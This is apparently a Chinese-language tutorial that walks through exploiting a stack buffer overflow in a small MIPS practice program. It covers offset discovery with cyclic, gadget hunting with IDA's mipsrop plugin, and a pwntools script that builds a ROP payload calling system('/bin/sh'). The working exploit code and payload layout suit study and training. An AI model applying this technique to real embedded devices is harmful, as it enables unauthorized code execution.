#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
void do_system(int code,char *cmd)
{
char buf[255];
//sleep(1);
system(cmd);
}
void main()
{
char buf[256]={0};
char ch;
int count = 0;
unsigned int fileLen = 0;
struct stat fileData;
FILE *fp;
if(0 == stat("passwd",&fileData))
fileLen = fileData.st_size;
else
return 1;
if((fp = fopen("passwd","rb")) == NULL)
{
printf("Cannot open file passwd!\n");
exit(1);
}
ch=fgetc(fp);
while(count <= fileLen)
{
buf[count++] = ch;
ch = fgetc(fp);
}
buf[--count] = '\x00';
if(!strcmp(buf,"adminpwd"))
{
do_system(count,"ls -l");
}
else
{
printf("you have an invalid password!\n");
}
fclose(fp);
}
首先分析程序逻辑得出
运行程序后从passwd中读取内容,判断是否为adminpwd
而读取数据的buf只有256大小,但是我们却可以在passwd中填充n个数据,因此便造成了栈溢出
为具体确定程序的溢出点,我们可以使用cyclic生成大量有序的字符输入到passwd中,再由程序读取passwd文件时因为溢出而引出的段错误来根据有序字符确定栈底距离$ra
的大小
通过ida动态调试来看寄存器$ra
的值
再次尝试进行验证,填充264个字符后在跟上1234,可以看到程序的ra和pc都已经指向了1234
之后我们尝试拼接程序中的gadget,来让程序以某种顺序依次执行我们想要他执行的代码
可以根据书中,按如下结构构造payload
其中我们可以利用ida中的mipsrop
插件来寻找相应的gadgets,来让我们需要用到的参数放到对应的寄存器中
之后在IDA中定位到这一段,可以看到首先是将栈空间减少了0x58的大小,意味着我们如果要用该gadget则至少要向伪造的栈空间中填充0x58个字符(包含binsh字符串)才可以保持堆栈平衡,其次要考虑的便是参数所处的位置
重点在addiu a1,sp,0x54+var_3c这一段,构造的payload结构如下
0x108 + gadget+0x18+"binsh\x00"+0x38 + system_addr+0x4
需要注意一点的是不能直接在ida中找do_system
的地址,否则程序回调到其他位置,可以直接在gdb中直接打印do_system的地址即可
最后运行exp,在运行程序溢出反弹shell成功!
import struct
from pwn import *
log.info("shellcode for `vuln_system`")
payload = cyclic(264)
payload += struct.pack(">L",0x00401D40)
#| 0x0040F048 | addiu $a0,$sp,0x48+var_30 | jr 0x48+var_4($sp)
payload += "b"*0x18
payload += "/bin/sh\x00"
# payload += struct.pack(">L",0x00407CA0)# binsh_addr
payload += "c"*(0x3c-len("/bin/sh\x00"))
payload += struct.pack(">L",0x400390) # jal do_system_0
payload += "dddd"
fw = open('passwd','w')
fw.write(payload)
fw.close()
success("ok~")